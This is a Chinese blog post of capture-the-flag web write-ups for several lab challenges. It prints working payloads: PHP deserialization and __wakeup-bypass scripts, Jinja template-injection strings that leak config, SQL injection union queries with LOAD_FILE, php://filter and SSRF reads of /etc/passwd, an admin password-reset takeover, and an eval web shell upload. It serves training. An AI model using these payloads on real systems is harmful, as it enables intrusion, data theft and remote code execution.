攻防世界-web

easyphp

1

<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;

$a = $_GET['a'];
$b = $_GET['b'];

if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
    if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
        $key1 = 1;
        }else{
            die("Emmm...再想想");
        }
    }else{
    die("Emmm...");
}

$c=(array)json_decode(@$_GET['c']);
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
    if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
        $d = array_search("DGGJ", $c["n"]);
        $d === false?die("no..."):NULL;
        foreach($c["n"] as $key=>$val){
            $val==="DGGJ"?die("no......"):NULL;
        }
        $key2 = 1;
    }else{
        die("no hack");
    }
}else{
    die("no");
}

if($key1 && $key2){
    include "Hgfks.php";
    echo "You're right"."\n";
    echo $flag;
}

?>

采用科学计数法绕过a=9e9

if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){

编写脚本

<?php
for ($i=0; $i <1000000 ; $i++) { 
    if('8b184b' === substr(md5($i),-6,6)){
    echo $i.'<br>'.md5($i);
    }
}
?>

得到
2
即b=53724

$c=(array)json_decode(@$_GET['c']);#接收json格式的字符串并将其转化为数组

了解一下json格式JSON数据格式详解

if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){

用c={“m”:”2222c”}绕过,

if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0]))

c={“m”:”2222c”,”n”:[[1],0]}

$d = array_search("DGGJ", $c["n"]);

默认的第三个flase参数导致了弱类型比较漏洞。当我们的$c[“n”]=0的时候(或者null),会将前面要查找的字符串自动转化为0然后进行比较。
绕过手法c={“m”:”2222c”,”n”:[[],0]}
payload:http://61.147.171.105:54356?a=9e9&b=53724&c={"m":"2222c","n":[[0],0]}

3

Web_php_unserialize

1

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

由代码可知,flag文件很有可能在fl4g.php里。
分析一下代码:

function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 

这段代码会将我们要找的文件替换为index.php。
本题的php版本为PHP/5.3.10-1,可以使用cve漏洞绕过_wakeup()。

CVE-2016-7124(绕过__wakeup)
漏洞影响版本:
PHP5 < 5.6.25
PHP7 < 7.0.10

漏洞产生原因:
如果存在__wakeup方法,调用 unserilize() 方法前则先调用__wakeup方法,但是序列化字符串中表示对象属性个数的值大于 真实的属性个数时会跳过__wakeup的执行

if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 

绕过正则表达式,首先解释一下'/[oc]:\d+:/i'[oc]:匹配到o或c,\d:整型数。也就是匹配到类似**O:2:的会输出stop hacking!如何绕过呢?我们把O:2:改成O:+2:**不就行了?
具体代码:

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
class x{
	private $file='fl4g.php';
}
$a=serialize(new Demo('fl4g.php'));
echo $a.'<br>';
$a=str_replace('O:4:','O:+4:',$a);//绕过正则表达式
echo $a.'<br>';
$a=str_replace(':1:',':2:',$a);//绕过_wakeup()函数
echo $a.'<br>';
echo base64_encode($a);
echo $a.'<br>';
?>

$file 是私有成员序列化之后字符串首尾会多出两个空格 “%00%00”,所以base64加密最好在代码中执行防止复制漏掉*
运行之后得到
2
get传参得到flag。
3
这个题很有学习价值!!!

web2

4

<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function encode($str){
    $_o=strrev($str);
    // echo $_o;
        
    for($_0=0;$_0<strlen($_o);$_0++){
       
        $_c=substr($_o,$_0,1);
        $__=ord($_c)+1;
        $_c=chr($__);
        $_=$_.$_c;   
    } 
    return str_rot13(strrev(base64_encode($_)));
}

highlight_file(__FILE__);
/*
   逆向加密算法,解密$miwen就是flag
*/
?> 

第一次遇到,记录一下。
我们只需要逆向解密即可。

<?php
$str="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
$_=base64_decode(strrev(str_rot13($str)));
$_o=NULL;

    for($_0=0;$_0<strlen($_);$_0++){
       
        $_c=substr($_,$_0,1);
        $__=ord($_c)-1;
        $_c=chr($__);
        $_=$_o.$_c;   
    } 
echo strrev($_o);
?>

得到flag。

shrine

2

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')//注册了一个FLAG的config,如果没有过滤的话就直接{{config}}


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
    app.run(debug=True)

ssti模板注入,是pythonFlask框架。看到
@app.route('/shrine/<path:shrine>')访问路径http://61.147.171.105:64429/shrine/%7B%7B8*8%7D%7D存在ssti模板注入漏洞。
safe_jinja函数对**(,),config,self**进行过滤。
1查看一下app下的config。

文章中了解到:
get_flashed_messages函数{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}
url_for函数{{url_for.__globals__['current_app'].config}}
2
得到flag。

fakebook

非常具有学习价值

1
注册一个账号登陆。
2
?no=1 and 1=1正常回显,?no=1 and 1=2报错。存在SQL注入。
?no=1 order by 5报错
3
开始爆破。
发现加载?no=1 union select 1,2,3,4出现
1
肯定有东西被过滤了。测试发现输入-1/**/union/**/select/**/1,2,3,4正常。++可以代替/**/
4
存在反序列化,发现2处可以回显。继续测试
?no=-1/**/union/**/select/**/1,table_name,3,4 from INFORMATION_SCHEMA.TABLES -- -
?no=-1/**/union/**/select/**/1,group_concat(column_name),3,4 from INFORMATION_SCHEMA.columns where table_name="users" -- -
2
存在反序列化。

O:8:”UserInfo”:3:{s:4:”name”;s:3:”rgg”;s:3:”age”;i:48;s:4:”blog”;s:7:”123.com”;}

后面真是不会了。了解一下师傅们的文章。
法一
采用构造file协议去读取/var/www/html/flag.php的内容(file协议主要用于访问计算机本地文件,基本格式为:file:///文件路径

-1 //union // select 1,2 ,3,’O:8:”UserInfo”:3:{s:4:”name”;s:1:”1”;s:3:”age”;i:18;s:4:”blog”;s:29:”file:///var/www/html/flag.php”;}’#

2

法二
在MySQL中,LOAD_FILE()函数读取一个文件并将其内容作为字符串返回。

-1 //union // select 1,load_file(‘/var/www/html/flag.php’) ,3,4#

3

Cat

1
一道非常无厘头的题
一打开靶场以为原来做过类似的题。就直接127.0.0.1|ls,看来是大意了。
2
爆破一下看看过滤了什么
2

3453的没有过滤。
5

对@进行url编码%40,还是没用。
试试宽字符%EF
得到内容。保存为html文件。
2
5
查资料后原来是django报错,仔细看文档发现绝对路径,找一下发现数据库绝对路径

/opt/api/database.sqlite3 php的curl+@绝对路径文件名

5
宽字节+/opt/api/database.sqlite3报错出内容,查找得到flag。
5

泰山杯-简单的文件包含

1

<?php
highlight_file(__FILE__);
    include("./check.php");
    if(isset($_GET['filename'])){
        $filename  = $_GET['filename'];
        include($filename);
    }
?>

题目中包含了check.php文件,可能是过滤了一些函数,注意一下。整体看起来很简单,读去一个文件看看
payload:http://61.147.171.105:49222/?filename=check.php
2正确的用法,错误的方法?采用伪协议试试文件包含,经过几次测试发现只有使用php://filter读取文件时才会显示do not hack!,其他的回显均为上图。那么就从php://filter下手。通过测试了几个过滤器发现,能用的过滤器只有这个——**convert.iconv.***。推荐一篇文章php://filter的各种过滤器

convert.iconv.的编码方式有以下几种:
UCS-4

UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
使用方法:convert.iconv.<input-encoding>.<output-encoding>

随便选两个试试:
1使用burp快一点
23拿到flag。

信通院 SSRF-Me

看来考点是ssrf。
1
查看源码一下
2
由此可以说明请求地址为1270.0.1
Captcha: substr(md5(captcha), -6, 6) == "b15ed1"
意思是取MD5加密后的字符从后六位开始数六位且字符是b15ed1,那么到这里就要开始爆破原始数据了

<?php
$captcha=0;
while (true)
{
if(substr(md5($captcha), -6, 6) == "b15ed1")
{
echo $captcha;
break;
}
else
$captcha++;
}
?>

//输出结果:23129

当输入框内输入127.0.0.1:80时,会返回两个输入框,那么利用ssrf的漏洞,使用伪协议
输入file:///etc/passwd时成功返回
3读取flag file:///flag,flag关键字符过滤了。url编码绕过,浏览器上对flag编码一次,但是burp上需要对flag编码两次哦。

file:///%66%6c%61%67
file:///%2566%256c%2561%2567

bug(RCTF2021)

全程BURP挂代理,能够从每一个包中获得有效信息,还是要仔细观察!!!
打开就是登录框:
1
尝试admin登录,弱密码无果。先注册一个账号,注册admin显示用户名已存在,换test。
登陆成功后尝试每一个功能点:
使用manage时
123
personal功能点:
这里比较可以的地方是cookie的user,应该是MD5加密,解密需要付费,暂时不考虑。还有就是uid值。
直接改为1是不允许的,找其他思路。看能不能找到不需要带cookie-user的包
2

登出之后看找回密码功能点。
由于我知道test用户的信息,直接输入
123
这个包的详情如下:他没有进行user验证后面有希望。
5
下面这个是输入新密码的包:

4
在这里尝试把username改为admin,成功修改admin密码
5
随后成功登录admin账号。
1
使用manage功能点发现IP不被允许。
直接X-Forwarded-For: 127.0.0.1,出现界面
2

查看源代码发现可疑
1

试试文件上传index.php?module=filemanage&do=upload,开始文件上传绕过了。
上传普通文件
1
上传php文件
1
经过一番折腾,该文件后缀php4,上传文件内容<script language='php'>alert(@eval($_POST[1]))<script>
得到flag。
2

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!

请我喝杯咖啡吧~

支付宝
微信